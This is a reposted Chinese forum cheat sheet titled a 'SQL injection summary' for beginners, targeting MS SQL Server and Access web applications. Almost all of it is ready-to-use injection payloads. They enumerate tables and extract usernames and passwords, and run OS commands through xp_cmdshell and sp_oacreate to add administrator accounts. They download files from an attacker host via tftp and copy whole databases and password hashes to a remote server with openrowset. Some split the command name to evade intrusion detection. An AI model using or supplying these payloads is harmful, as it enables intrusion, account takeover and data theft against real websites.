菜鸟学堂：
sql注射总结（强烈推荐）
［转贴］
sql注射总结（早源于'or'1'='1）
最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名（默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn odbc连接
xp_loginconfig 模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个pid
例如：
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * from test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -slocalhost -usa -pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select top 1 column_name from information_schema.columns where table_name='logintable'-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id')-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id','login_name')-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name='rahul'--
构造语句：查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@version)
and 'sa'=(select system_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt ystem32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select is_srvrolemember('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）
创建一个虚拟目录e盘：
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c：/inetpub/wwwroot/mkwebdir.vbs -w "默认 web 站点" -v "e","e：/"'
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c：/inetpub/wwwroot/chaccess.vbs -a w3svc/1/root/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in ('admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin'
and uid>(str(id))) 暴到uid的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好用
暴库特殊技巧：:%5c='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in('address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system/currentcontrolset ervices/w3svc/parameters/virtual roots/', @value_name='/', [email protected] output insert into paths(path) values(@test)
http://61.131.96.39/pageshow.asp?tianname=政策法规&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%[email protected]%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%[email protected],"run",null,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了web路径d:/xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http：//www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt ystem32/cmd.exe /c net user swap 5258 /add'
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt ystem32/cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的ip你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''ok!'' exec master.dbo.sp_addlogin hax')
传统查询构造：
select * from news where id=... and topic=... and .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的id
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍：
a) id=49 这类注入的参数是数字型，sql语句原貌大致如下：
select * from 表名 where 字段=49
注入的参数为id=49 and [查询条件]，即是生成语句：
select * from 表名 where 字段=49 and [查询条件]
(b) class=连续剧 这类注入的参数是字符型，sql语句原貌大致概如下：
select * from 表名 where 字段='连续剧'
注入的参数为class=连续剧' and [查询条件] and ''=' ，即是生成语句：
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(c) 搜索时没过滤参数的，如keyword=关键字，sql语句原貌大致如下：
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'='， 即是生成语句：
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select top 1 name from sysobjects where xtype='u' and status>0)>0
sysobjects是sqlserver的系统表，存储着所有的表名、视图、约束及其它对象，xtype='u' and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。
;;and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后，用object_id('表名')获取表名对应的内部id，col_name(表名id,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容：主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" >
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名：
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，^^^^^^一个个的读出，直到没有为止。
读字段是这样：
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
--------------------------------高级技巧：
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过sqlserver注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是sysadmin组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过ids的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
1、 开启远程数据库
基本语法
select * from openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
参数: (1) oledb provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table'
要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。
基本语法：
insert into openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的ip地址和端口，指向需要的地方，比如：
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
3、 复4、 制哈西表（hash）
这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。
遍历目录的方法：
先创建一个临时表：temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树结构,并寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某个文件的内容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- （xp_dirtree适用权限public）
写入表：
语句1：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('sysadmin'));--
语句2：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('serveradmin'));--
语句3：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('setupadmin'));--
语句4：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--
语句5：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--
语句6：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('diskadmin'));--
语句7：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--
语句8：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--
语句9：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select is_member('db_owner'));--
把路径写到表中去：
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@inetpub'))-
语句：http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句：http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
语句：http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把数据库备份到网页目录：下载
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
and%201=(select%20top%201%20col_name(object_id('user_login'),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20user_login)
and%200=(select%20user%20from%20user_login%20where%20user>1)
